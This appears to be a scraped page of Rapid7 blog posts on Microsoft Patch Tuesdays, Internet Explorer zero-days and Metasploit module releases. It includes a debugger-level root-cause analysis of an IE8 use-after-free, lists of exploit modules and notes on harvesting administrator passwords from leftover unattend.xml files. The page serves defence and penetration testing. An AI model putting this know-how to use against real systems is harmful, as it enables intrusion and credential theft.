There is a lot going on in the updates from Microsoft this month, including some very interesting and long time coming changes. Also, it's the highest volume of advisories so far this year, with eight dropping on us, two of which are labelled as critical.…

There is a lot going on in the updates from Microsoft this month, including some very interesting and long time coming changes. Also, it's the highest volume of advisories so far this year, with eight dropping on us, two of which are labelled as critical.How to describe the patching priority is going to be very subjective.  Microsoft has identified three of these advisories: MS14-024, MS14-025, & MS14-029, the IE patch as priority 1 patching concerns. Interestingly MS14-029 which is the update to IE is the only one of the two critical issues to receive the patching priority one designation. The other critical, MS14-022, affecting SharePoint is a priority two for patching.  This is due to the complexity of the attack and the fact that it is privately reported and not known to be in public exploitation.MS14-029 is an interesting advisory.  It is not a cumulative rollup fix for IE, which breaks with the recent trend of IE patching, but it does re-include the patch for MS14-021 which was fixed outside of the normal patch cycle on May 1st. This is just a re-include of the original fix and simply provides another vector for customers to get it.  One of the other CVEs fixed in this advisory is under limited, targeted attack.  Also, there are two flavors of this patch for Windows 8.1 users, one for those who took the "Spring 2014 update rollup" and one for those who did not.  Not to mention that this is the first advisory that clearly would have applied to Windows XP, but for which a patch is not available.  IE 6, 7, & 8 are vulnerable on Windows 2003 SP2, this would historically have mapped to the same scope of XP patches, but not this time.  Anyone still using XP just got a little less secure – not that they were well off to begin with.Of the other two, important but highest patching priority issues, MS14-024 is a fix for an ASLR bypass.  That means that this issue is not really an exploit in and of itself, hence the "important" designation, but a weakness that is used in conjunction with other exploits to increase the likelihood of successfully controlling the location of memory manipulation.  MS14-024 has been detected in use in conjunction with other attacks.MS14-025 isn't really a fix for the underlying issue, it just stops system administrators from doing something that weakens their overall security going forward by preventing them from specifying a local administrator password in group policy settings where anyone on the network can recover it in a reusable form.  However, administrators who have already made that mistake will not have the setting removed and will still have to take other measures to plug that hole.MS14-027 is an elevation of privilege issue that was privately reported to Microsoft, but again, has been detected in use in limited, targeted attacks in the wild.MS14-028 is a denial of service affecting Windows Servers with the iSCSI service installed.  The service is not installed by default on Windows 2008 or 2008 R2, and is installed but disabled by default on Windows 2012.  The interesting note here is that there is no fix available for Windows 2008, even though it is vulnerable.  2008 R2 and 2012 are being patched, but apparently fixing the issue on 2008 would severely affect compatibility with iSCSI devices… so time to update the OS version on your file server folks.On top of the numbered advisories, Microsoft is rolling out an update for bundled Flash versions on Windows 8 and later, a functionality change to UEFI affecting secure boot and offline backups, and most interestingly, is back porting the "credentials protection" functionality recently released for Windows 8.1 to Windows 7 & 8 users.  That last change is meant to make credential replay attacks much harder to accomplish, but is not a complete fix for "pass the hash" type attacks.

Are your users exposed to IE 0-Day? Find out who is still using IE in your organization

As many security professionals, you probably sent an email to your users in the last couple of days asking them NOT to use Internet Explorer as their browser in light of the latest IE Zero Day vulnerability. However, you may be lacking visibility to user…

As many security professionals, you probably sent an email to your users in the last couple of days asking them NOT to use Internet Explorer as their browser in light of the latest IE Zero Day vulnerability. However, you may be lacking visibility to user behavior, finding it hard to observe if users actually follow your guidelines and indeed stop using Internet Explorer as their browser and use alternatives such as Chrome and Firefox instead. UserInsight provides visibility to user behavior, enabling you to detect policy violation and make sure user adhere to guidelines. UserInsight maps processes running on endpoints in an agent-less way, enabling you to search for the process "iexplore.exe" and get a list of users still having IE used on their endpoints. We highly recommend that you ask these users to obtain from using IE, or even remove it.

If you lived here, you'd be home now - thoughts on an IE 0-day

Growing up around Boston, I remember seeing the famous billboards for the Charles River Park apartments: "If You Lived Here, You'd Be Home Now".  These signs were placed strategically, almost sadistically, on Storrow Drive where they were seen every day by the thousands of…

Growing up around Boston, I remember seeing the famous billboards for the Charles River Park apartments: "If You Lived Here, You'd Be Home Now".  These signs were placed strategically, almost sadistically, on Storrow Drive where they were seen every day by the thousands of motorists trapped in rush hour gridlock.  This morning, as IT departments scrambled to react to the Internet Explorer 0day vulnerability, I couldn't help but think about that devilish piece of advertising.This critical vulnerability in all versions of Internet Explorer was discovered by FireEye "in the wild". When a vulnerability is found being actively exploited like this, there is no time for the vendor to prepare a patch -- the only responsible course of action is to follow the dictates of military journalism: "Maximum disclosure with minimum delay". This resulted in Microsoft publishing its security advisory on a Saturday, while its engineers were still feverishly working on a patch. Monday morning dawned with no available patches for this issue. The US and UK governments (and most IT departments) published guidance saying to avoid using Internet Explorer until a fix becomes available. Presumably, FireEye's excellent technology can be configured to block this attack, but edge-protection technologies only protect users while they are on the corporate network. Anyone using a laptop from home, a hotel, or a coffee shop is still wide open to attack. What else can be done at this point, without a patch? A lot, as it turns out! Organizations who have done a good job at deploying Microsoft EMET (Enhanced Mitigation Experience Toolkit) on their desktops are protected in large degree from this 0-day attack. EMET is a free tool that provides system- and application-level control over exploit mitigation settings such as DEP and ASLR. While the exploit does attempt to bypass DEP and ASLR (and possibly EAF mitigation), FireEye confirms that systems with EMET 4.1 and 5.0 were successful in blocking the exploit in the wild.Situations like this are exactly why Rapid7 features EMET deployment as an integral part of our Desktop Recommended Controls in our ControlsInsight product. You can't get a passing grade in ControlsInsight unless EMET is not only deployed to endpoints, but is also configured correctly and actually running. We don't believe that EMET is a panacea, but we have seen time and time again situations where the first few versions of an exploit are blocked by EMET, giving organizations precious time to obtain and deploy a patch in production. Sometimes, all you need is a couple days -- even a few hours of protection can make a big difference in your ability to react and respond to a new vulnerability.Too many organizations confuse "vulnerability management" with "patch management". There is a LOT more to successfully managing vulnerabilities than simply playing whack-a-mole with known patches. A good vulnerability management program will include a careful of assessment of key controls such as desktop and server hardening, browser and browser plugin configuration, least-privilege settings, antivirus, and exploit mitigations such as EMET. As with any controls assessment, it's not enough to say "We have antivirus installed" or "We have EMET installed" - you have to validate whether AV is installed, up-to-date, and running. If you came into work this morning knowing that EMET was deployed and properly configured enterprise-wide (and you could prove it), you probably had a very different set of conversations than everyone else who was scrambling to react to this unpatched vulnerability. In other words "If you lived here, you'd be home now".

IE 0-day, we got you covered

News broke this weekend of yet another IE 0-day under ("limited, targeted") exploitation in the wild.  Microsoft responded with an advisory, but no patches yet.  Given that the risk from the known exploit is mitigated by the usual defence in depth tactics I…

News broke this weekend of yet another IE 0-day under ("limited, targeted") exploitation in the wild.  Microsoft responded with an advisory, but no patches yet.  Given that the risk from the known exploit is mitigated by the usual defence in depth tactics I would not expect Microsoft to release an out of band patch, though a "fix it" type hotfix would be in keeping with Microsoft's recent tactics. The known exploit for this issue relies on Adobe Flash to be present and enabled.  Disabling or removing flash will block the known exploit, but does not address the root cause issue in Internet Explorer. To asses your exposure to this threat:Nexpose users can view affected systems in their environment from existing scan data using Dynamic Asset Groups. ControlsInsight users can examine which systems in their environment have the correct mitigations in place (including Flash disablement).Both products report Windows XP as an "Obsolete Version" (which is an automatic PCI failure).This 0-day is the first of what will inevitably be many issues to affect Windows XP in the post XP era.  Users still on XP have no choice but to upgrade in order to receive protection.  Of course, for Microsoft, Windows XP is already all but forgotten, in that, since it is no longer supported, it is not listed in the vulnerable systems. In a totally unscientific survey, looking at traffic to Rapid7.com, approximately 1% of our total web visitors identify as running Windows XP, but approximately 15% are running some version of IE.  We don't check for mitigations in place unless you ask us to.  Overall, this issue isn't all the different from any number of IE 0-days, we usually get three or four every year, except that it's the first in the post-XP world.  All the more reason for users to move to modern, supported, operating systems where advanced mitigation techniques are available.

Patch Tuesday - March 2014

Microsoft's March Patch Tuesday again came in on the lighter side of some months.  This continues the 2014 trend of smaller Patch Tuesdays.  We only see 2 issues that are critical/remote code execution, one of which is the usual IE (MS14-012), the…

Microsoft's March Patch Tuesday again came in on the lighter side of some months.  This continues the 2014 trend of smaller Patch Tuesdays.  We only see 2 issues that are critical/remote code execution, one of which is the usual IE (MS14-012), the other is an an issue in the DirectShow libraries (MS14-013) which affects most versions of Windows from XP up to 8.1/2012r2.  These two are where we should focus our patching efforts. Of the 18 CVEs addressed in MS14-012, one is known to be in limited target attacks on IE 10 (CVE-2014-0322) and was the subject of a Microsoft security advisory just after February's patch Tuesday (2934088).  A second CVE in MS14-012 (CVE-2014-0324) has also been seen in very limited exploitation attempts on IE 8; this exploit is not considered to be “in the wild”. The issue fixed in Silverlight (MS14-014) is an ASLR bypass issue, that is to say, it could be used in conjunction with another exploit to evade mitigation techniques. The SAMR issue (MS14-016) is of relatively low risk, in that if used in conjunction with an unknown or unspecified issue that would reset the login attempt could, could enable a brute forcing of a password.  While a serious problem, the exploitability depends on an unknown vector to become available to the attacker.

Patch Tuesday October 2013

It's been an interesting month for the Microsoft Security watchers of the world. If your job depends on securing systems running Windows, you should be eagerly awaiting the patch for the Internet Explorer (IE) 0-day (CVE-2013-3893: SetMouseCapture Use-After-Free) vulnerability in today's Patch Tuesday (MS13-080). Exploitation…

It's been an interesting month for the Microsoft Security watchers of the world. If your job depends on securing systems running Windows, you should be eagerly awaiting the patch for the Internet Explorer (IE) 0-day (CVE-2013-3893: SetMouseCapture Use-After-Free) vulnerability in today's Patch Tuesday (MS13-080). Exploitation of this vulnerability was detected first in targeted, regionally restricted exploitation, and then later in broader use once the exploit code spread to various public sites. Hopefully users have applied the Microsoft FixIt and/or EMET mitigations, and maybe even tested them with the Metasploit module that came out last week. What you probably don't know, unless you work in Security Response at Microsoft or have connections into what one might call an "Advanced Persistent Threat," is that out of the nine other IE vulnerabilities patched by MSFT this month, there is a second IE 0-day that has also been detected at use in targeted exploitation. This is CVE-2013-3897. Now, that's not to say that the remaining eight IE vulnerabilities are not potentially just as bad or worse. However, at least at this time, they are not known to be in use by the "bad guys." MS13-081 addresses an exploit path (CVE-2013-3128) which would give an attacker kernel-level access on a system that attempts to render a page containing a malicious opentype font. Technically one of the CVEs in MS13-082 addresses a variant of the same issue, which Microsoft found by auditing the reuse of that code. In this case the variant would only give user-level access to that attacker. At this time this issue is not known to be under active exploitation.  This advisory also includes 6 other vulnerabilities of varying severity. MS13-083 looks like a really fun one - a remote, server-side vulnerability offering remote code execution that is hittable through ASP.net web pages. This is a genuine article; a real, honest to goodness, potentially "wormable" condition. If the "bad guys" figure out a way to automate the exploitation of this, it could spread rapidly and the defense in depth measures of your organization will be tested. However, this vulnerability was privately reported to Microsoft and is not known to be under active exploitation. On top of all that, there are four MS Office vulnerabilities. These issues have only been tagged as "important" for one reason or another. Don't ignore them, but patch the other issues in this month's advisory first if you have to make that kind of decision.

Weekly Update: MSIE Exploit Disclosure, new CMDStager, and unattended.xml snarfing

MSIE exploit for CVE-2013-3893This week, you might have seen some press on our new exploit for CVE-2013-3893, some of which engages in that favorite infosec dichotomy of full disclosure vs "responsible" disclosure. First, if you want some technical details on the exploit development process used…

MSIE exploit for CVE-2013-3893This week, you might have seen some press on our new exploit for CVE-2013-3893, some of which engages in that favorite infosec dichotomy of full disclosure vs "responsible" disclosure. First, if you want some technical details on the exploit development process used by our own Wei @_sinn3r Chen, the bop on over to his blog post on CVE-2013-3893. If you're interested in a retort to the doomsayers about our philosophy of free and open exploit dev, feel free to read on.There's some concern that since Metasploit released an exploit for this unpatched vulnerability, we're "compounding" the situation, making things worse. I have to say, I kind of don't buy the reasoning behind that for a couple reasons. To start, criminal users of exploits already had the goods; while we picked up our sample about a week before publishing the exploit, there's some intelligence that suggests that this vulnerability has been part of criminal campaigns since at least early August, 2013, and quite probably earlier.An exploit going mainstream in the form of a Metasploit module can have the upside benefit of raising general awareness of the bug in question. This, in turn, can put pressure on vendors to issue patches. We saw pretty much exactly that back in January: On January 11, we published an exploit for an unpatched vuln in Java, and there was similar hand-wringing about "responsible" exploit disclosure. Two days later, 7u11 was released. This kind of turnaround is exceedingly rare for Oracle. Was the availability of a Metasploit module the cause of the lickity-split patch release? You'll have to ask them, but it looks like a pretty solid cause-and-effect relationship to me. I don't know if this is going to play out exactly the same way for this MSIE bug. Microsoft does have a Fix-It available, and EMET 4.0 appears effective as well, so that does buy some time for concerned end users, but at least now it's not just bad guys who can test your end-user protection mechanisms.Speaking of which, if your security posture depends on a lack of public exploits for 0-days, I have to say, you're kind of doing it wrong. "Defense in depth" is a security mantra for a reason. If your organization gets popped because of a client-side 0-day, I hope your incident response report contains some suggestions on how not to get owned the same way next time. You do have an IR plan, right? In the era of a hostile Internet, I don't think it's reasonable to rely on perfect software, nor is it reasonable to rely on limited availability of exploits where only criminals and shady government operations have access to attack tools.So, I think Metasploit is pretty reasonable when we go about publishing exploits. We have a partial-secrecy disclosure policy that we stick to for what we believe to be truly unique zero-days, but when something serious is circulating on the Internet, we've found it's best for everyone to invite everyone to participate in the risk-assessment process.New CMD stager for embedded devicesOkay, rant over. Let's talk about something more pleasant, like Joe Vennix's and Juan Vazquez's work on a new CMD stager for limited Linux platforms. You can read up on the vulnerability that started it and the research that followed at Juan's recent blog post. It's long, but totally worth it, and culminates in a reliable exploit for CVE-2013-3568 for Linksys routers. This work is available now in the latest Metasploit update, revolving around using plain old "echo" to construct a payload on the victim device.Since this was published, we have a new, possibly even better version, that uses the shell-builtin "printf" function (common to all POSIX-compliant shells) in the form of Pull Request #2412 from community contributor Markus mwulftange Wulftange. We'll be probing the limits of this technique's portability soon, so look for it in an upcoming update.Hitting up unattend.xml for passwordsFinally, I'd like to hilight a module we've landed from community contributor Ben @Meatballs__ Campbell. Turns out, when Windows is installed using a scripted installation -- which is common for many corporate environments -- the unattended "answer file" is often left behind on the installed system. This can contain lots of juicy sensitive data, not the least of which are default local administrator passwords. Ben's module makes short work of these, and honestly, and checking to see if a compromised target has this trove of info should be part of any penetration testing engagement.Note that clearing sensitive data is part of normal post-installation, but there are several ways this sanitation can fail, as discussed on Christopher Blake's blog, here. So, to defend against this info-leak, system administrators are advised to be on the lookout for these installation artifacts, lest they fall into the hands of your industrious local penetration tester.New Modules (and much more!)Including the four discussed above, we've got eight new modules this week, including a new exploit for Nodejs (with an accompanying "ARCH_NODEJS" payload, which is exciting), and exploits for Astium, ZeroShell, and freeFTPd. There's a ton of other exciting new fixes and content in this release I didn't get a chance to highlight as well, most notably, the fact that this update bumps Metasploit to version 4.7.1, so that means new bins for Nmap, Postgres, and updated Rails and other Ruby gems. So, your total update size is going to be bigger than usual.Exploit modulesAstium Remote Code Execution by xistence exploits OSVDB-88860Nodejs js-yaml load() Code Execution by Neal Poole and joev exploits CVE-2013-4660Linksys WRT110 Remote Command Execution by juan vazquez, Craig Young, and joev exploits CVE-2013-3568ZeroShell Remote Code Execution by Yann CAM and xistenceMicorosft Internet Explorer SetMouseCapture Use-After-Free by sinn3r and Unknown exploits CVE-2013-3893freeFTPd PASS Command Buffer Overflow by TecR0c and Wireghoul exploits OSVDB-96517Auxiliary and post modulesAuxilliary Parser Windows Unattend Passwords by Ben CampbellWindows Resolve Hosts by Ben CampbellIf you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

IE 0-day: exploit code is now widely available (CVE-2013-3893)

Any newly discovered Internet Explorer zero day vulnerability is bad for users. But once the exploit code gets around to public disclosure sites, it's so much worse. In the past day or so exploit code has been submitted to virustotal.com and scumware.org. …

Any newly discovered Internet Explorer zero day vulnerability is bad for users. But once the exploit code gets around to public disclosure sites, it's so much worse. In the past day or so exploit code has been submitted to virustotal.com and scumware.org. Users and administrators should take immediate action to mitigate the risk posed by CVE-2013-3893.  Considering the timing, I personally expect to see an out of band patch from Microsoft before October's patch Tuesday, but that is just speculation.  Exploitation in the wild still seems limited to IE 8 and 9, and the exploit which is circulating seems to also rely on MS Office to be present (not clear why, as yet).  However, all versions of IE are affected by this issue, which means that this vulnerability has likely been present since IE 6 was released in 2001.  The fact that it is getting attention now is either due to a noticeable volume or impact of active exploitation in the wild. It may have just been discovered last week, or it may have been in the private toolkit of the world's best malware writers for more than a decade.   This is about to become as severe as any browser issue can be.  There were reports of regionally restricted public exploitation of the issue, but now that the exploit code is in the wild it's only a matter of time before it appears in commercial malware packs and broader exploitation. The vulnerability allows the attacker to gain the privileges of the user. All too often on Windows that means Administrator level privileges, but I would speculate that the exploit looking for MS Office could mean that it is being used with another privilege elevation vulnerability in Office. The mantra "I only visit safe sites" is a false promise of protection, as it's far too easy to misdirect, redirect, or otherwise cause a user to interact with a site that they are not expecting to.  Legitimate sites may also be compromised to host malware serving this exploit.  The simplest way to avoid this risk is to use a browser other than Internet Explorer.  Users who must use Internet Explorer should install all available Internet Explorer patches, and only use the latest versions available.  Neither of those things will directly help with this specific issue, but are good practices and pre-requisites for the following actions to be at all effective.   To mitigate the risk of exploitation from this issue, install EMET 4.0, configure it to force ASLR, and enable a number of heap spraying and ROP protections.  Additionally, there is a "fixit" available from Microsoft which will attempt to modify the system to prevent exploitation.  Fixits are not full-fledged patches which have gone through Microsoft's generally rigorous quality assurance, so there is a risk that it's not a complete solution or that it could cause compatibility issues with other products (details on both can be found here.) Personally I would do both: install and configure EMET, and apply the fixit.

Department of Labor IE 0-day Exploit (CVE-2013-1347) Now Available at Metasploit

Recently, the U.S. Department of Labor website was compromised and had been serving malicious code, capable of detecting and disabling some antivirus products such as Avira, F-Secure, Kaspersky, AVG, Sophos, etc.  It would also attack Internet Explorer 8 users with an 0-day exploit.  The…

Recently, the U.S. Department of Labor website was compromised and had been serving malicious code, capable of detecting and disabling some antivirus products such as Avira, F-Secure, Kaspersky, AVG, Sophos, etc.  It would also attack Internet Explorer 8 users with an 0-day exploit.  The Metasploit vulnerability research community was particularly interested in the exploit part, therefore that's what we'd like to talk about in this blog. Understanding how the evolving browser security landscape operates is key to formulating defense strategies, after all. First off, according to Microsoft's advisory, only Internet Explorer 8 is vulnerable to this exploit, and we verified that with a fully patched Windows 7 with IE8.  If you are looking for an excuse to upgrade to something more recent, the following image demonstrates IE8's weakness: ![](/content/images/post-images/17009/Screen Shot 2013-05-04 at 11.44.20 PM.png) Some people say this is a CVE-2012-4792 (a patched vulnerability), we beg to differ.  CVE-2012-4792 is a cbutton use-after-free, but the DoL exploit doesn't use this object at all (Exodus has an excellent writeup about that vulnerability).  Instead, a mshtml!CGenericElement::`vtable' is created while appending a datalist element: Allocating 0x4C bytes from InsertElementInternal: 0x0563cfb0 ... 0:008> !heap -p -a poi(0x0563cfb0) address 06a99fc8 found in _DPH_HEAP_ROOT @ 151000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 5087390: 6a99fc8 38 -  6a99000 2000 mshtml!CGenericElement::`vftable'     7c918f01 ntdll!RtlAllocateHeap 0x00000e64     635db42e mshtml!CGenericElement::CreateElement 0x00000018     635a67f5 mshtml!CreateElement 0x00000043     637917c0 mshtml!CMarkup::CreateElement 0x000002de     63791929 mshtml!CDocument::CreateElementHelper 0x00000052     637918a2 mshtml!CDocument::createElement 0x00000021     635d3820 mshtml!Method_IDispatchpp_BSTR 0x000000d1     636430c9 mshtml!CBase::ContextInvokeEx 0x000005d1     63643595 mshtml!CBase::InvokeEx 0x00000025     63643832 mshtml!DispatchInvokeCollection 0x0000014b     635e1cdc mshtml!CDocument::InvokeEx 0x000000f1     63642f30 mshtml!CBase::VersionedInvokeEx 0x00000020     63642eec mshtml!PlainInvokeEx 0x000000ea     633a6d37 jscript!IDispatchExInvokeEx2 0x000000f8     633a6c75 jscript!IDispatchExInvokeEx 0x0000006a     633a9cfe jscript!InvokeDispatchEx 0x00000098 And freed during garbage collection: 0:008> !heap -p -a poi(0x0563cfb0) address 06a99fc8 found in _DPH_HEAP_ROOT @ 151000 in free-ed allocation (  DPH_HEAP_BLOCK: VirtAddr VirtSize) 5087390: 6a99000 2000 7c927553 ntdll!RtlFreeHeap 0x000000f9     636b52c6 mshtml!CGenericElement::`vector deleting destructor' 0x0000003d 63628a50 mshtml!CBase::SubRelease 0x00000022     63640d1b mshtml!CElement::PrivateRelease 0x00000029     6363d0ae mshtml!PlainRelease 0x00000025     63663c03 mshtml!PlainTrackerRelease 0x00000014     633a10b4 jscript!VAR::Clear 0x0000005c     6339fb4a jscript!GcContext::Reclaim 0x000000ab     6339fd33 jscript!GcContext::CollectCore 0x00000113     63405594 jscript!JsCollectGarbage 0x0000001d     633a92f7 jscript!NameTbl::InvokeInternal 0x00000137     633a6650 jscript!VAR::InvokeByDispID 0x0000017c     633a9c0b jscript!CScriptRuntime::Run 0x00002989     633a5ab0 jscript!ScrFncObj::CallWithFrameOnStack 0x000000ff     633a59f7 jscript!ScrFncObj::Call 0x0000008f     633a5743 jscript!CSession::Execute 0x00000175 Even though the CGenericElement vftable is freed, the reference is stil kept: 0:008> dc 0x0563cfb0; .echo; dc poi(0x0563cfb0) 0563cfb0  06a99fc8 00000000 ffff0075 ffffffff  ........u....... 0563cfc0  00000071 00000000 00000000 00000000  q............... 0563cfd0  00000000 0563cfd8 00000152 00000001  ......c.R....... 0563cfe0  00000000 00000000 0563cfc0 00000000  ..........c..... 0563cff0  00000010 00000000 00000000 d0d0d0d0  ................ 0563d000  ???????? ???????? ???????? ????????  ???????????????? 0563d010  ???????? ???????? ???????? ????????  ???????????????? 0563d020  ???????? ???????? ???????? ????????  ???????????????? 06a99fc8  ???????? ???????? ???????? ????????  ???????????????? 06a99fd8  ???????? ???????? ???????? ????????  ???????????????? 06a99fe8  ???????? ???????? ???????? ????????  ???????????????? 06a99ff8  ???????? ???????? ???????? ????????  ???????????????? 06a9a008  ???????? ???????? ???????? ????????  ???????????????? 06a9a018  ???????? ???????? ???????? ????????  ???????????????? 06a9a028  ???????? ???????? ???????? ????????  ???????????????? 06a9a038  ???????? ???????? ???????? ????????  ???????????????? And of course, this invalid reference ends up with a crash when used by mshtml!CElement::Doc(): 0:008> g (5f4.2c0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=63aae200 ebx=0563cfb0 ecx=06a99fc8 edx=00000000 esi=037cf0b8 edi=00000000 eip=6363fcc4 esp=037cf08c ebp=037cf0a4 iopl=0 nv up ei pl zr na pe nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 efl=00010246 mshtml!CElement::Doc: 6363fcc4 8b01 mov eax,dword ptr [ecx]  ds:0023:06a99fc8=???????? As of now, we are not aware of any patch from Microsoft specifically for IE8, but we will be updating this blog as soon as we hear something.  If you're a current IE8 user, then please consider the following workarounds: For newer Windows, upgrade to Internet Explorer 9 or 10. For Windows XP users, please use other browsers such as Google Chrome or Mozilla Firefox. If for some reason you must use Internet Explorer 8, please use EMET.  Or, you can also try setting IE's security zone to High, and customize your Active Scripting settings. Note that while Microsoft's advisory also suggests setting IE8's Internet security zones to 'High' for ActiveX controls, this, by itself, will not mitigate -- the exploitation technique used here does not leverage ActiveX controls at all. So, while that is generally good advice, it will not help in this case. If you'd like to try out this Metasploit module to better validate your defenses, please feel free to download Metasploit here.  If you already have Metasploit Framework, you may just use the msfupdate utility to receive this module.  For Metasploit Pro users, you will see this module in the upcoming update. Special thanks to: EMH TimelineMay 3rd - Microsoft advisory 2847140, no patch yet.May 5th - Metasploit releases ie_cgenericelement_uaf exploitMay 8th - Microsoft releases "fix-it"May 14th - Microsoft releases MS13-038 patch

Weekly Metasploit Update: MSIE and Poison Ivy Returns

Yo Dawg, I Heard You Like 0-DayAs you may have heard, on Monday we rolled out a special update to Metasploit to include the new Internet Explorer use-after-free exploit, aka, CVE-2012-4969. Last night, while scrolling through my RSS feed for security news, I saw this…

Yo Dawg, I Heard You Like 0-DayAs you may have heard, on Monday we rolled out a special update to Metasploit to include the new Internet Explorer use-after-free exploit, aka, CVE-2012-4969. Last night, while scrolling through my RSS feed for security news, I saw this NetworkWorld story about how someone is using this vulnerability to install Poison Ivy, a RAT / backdoor. Of course, astute readers of this blog will know that Poison Ivy itself is vulnerable to a stack buffer overflow condition.Let's think about this for a second. Internet criminals are using an unpatched IE vulnerability to deliver software which is controlled by software that also has an unpatched vulnerability.So, if you happen across a vulnerable client during a penetration test, it would behoove you to check to see if anyone is connected to Poison Ivy's listening socket, TCP/3460. From there, you should be able to discover if any /other/ assets that are in scope for your test are already controlled. Exact details of how to accomplish that are left as an exercise for the reader. (:By the way, if you haven't yet had a chance to test the Metasploit module for the Internet Explorer vulnerability, here's a video of Eric Romang taking it for a spin. Huge thanks again to Eric and @binjo for throwing in on all this. Getting the word out on these high-value bugs really does kill their usability for the bad guys.New ModulesOf course, there's more in this update than just a refresh of the MSIE exploit. Egypt has a nice new local exploit for Linux's udev, discovered by kcope, which is pretty nifty. So, here's the list -- for details and usage, follow the links to our Exploit Database. Exploit modules Linux udev Netlink Local Privilege Escalation by egyp7, Jon Oberheide, and kcope exploits CVE-2009-1185qdPM v7 Arbitrary PHP File Upload Vulnerability by sinn3r and loneferret exploits OSVDB-82978Webmin /file/show.cgi Remote Command Execution by juan vazquez and unknown exploits CVE-2012-2982Microsoft Internet Explorer execCommand Use-After-Free Vulnerability by sinn3r, juan vazquez, binjo, eromang, and unknown exploits OSVDB-85532Oracle Business Transaction Management FlashTunnelService Remote Code Execution by sinn3r, juan vazquez, and rgod exploits OSVDB-85087 Auxiliary modules Novell File Reporter Agent Arbitrary File Delete by juan vazquez and Luigi Auriemma exploits CVE-2011-2750Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access by juan vazquez and unknown exploits CVE-2012-2983AvailabilityIf you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.For additional details on what's changed and what's current, please see the most excellent release notes.

Featured Research

National Exposure Index 2017

The National Exposure Index is an exploration of data derived from Project Sonar, Rapid7's security research project that gains insights into global exposure to common vulnerabilities through internet-wide surveys.

Learn More

Toolkit

Make Your SIEM Project a Success with Rapid7

In this toolkit, get access to Gartner's report “Overcoming Common Causes for SIEM Solution Deployment Failures,” which details why organizations are struggling to unify their data and find answers from it. Also get the Rapid7 companion guide with helpful recommendations on approaching your SIEM needs.

Download Now

Podcast

Security Nation

Security Nation is a podcast dedicated to covering all things infosec – from what's making headlines to practical tips for organizations looking to improve their own security programs. Host Kyle Flaherty has been knee–deep in the security sector for nearly two decades. At Rapid7 he leads a solutions-focused team with the mission of helping security professionals do their jobs.

Listen Now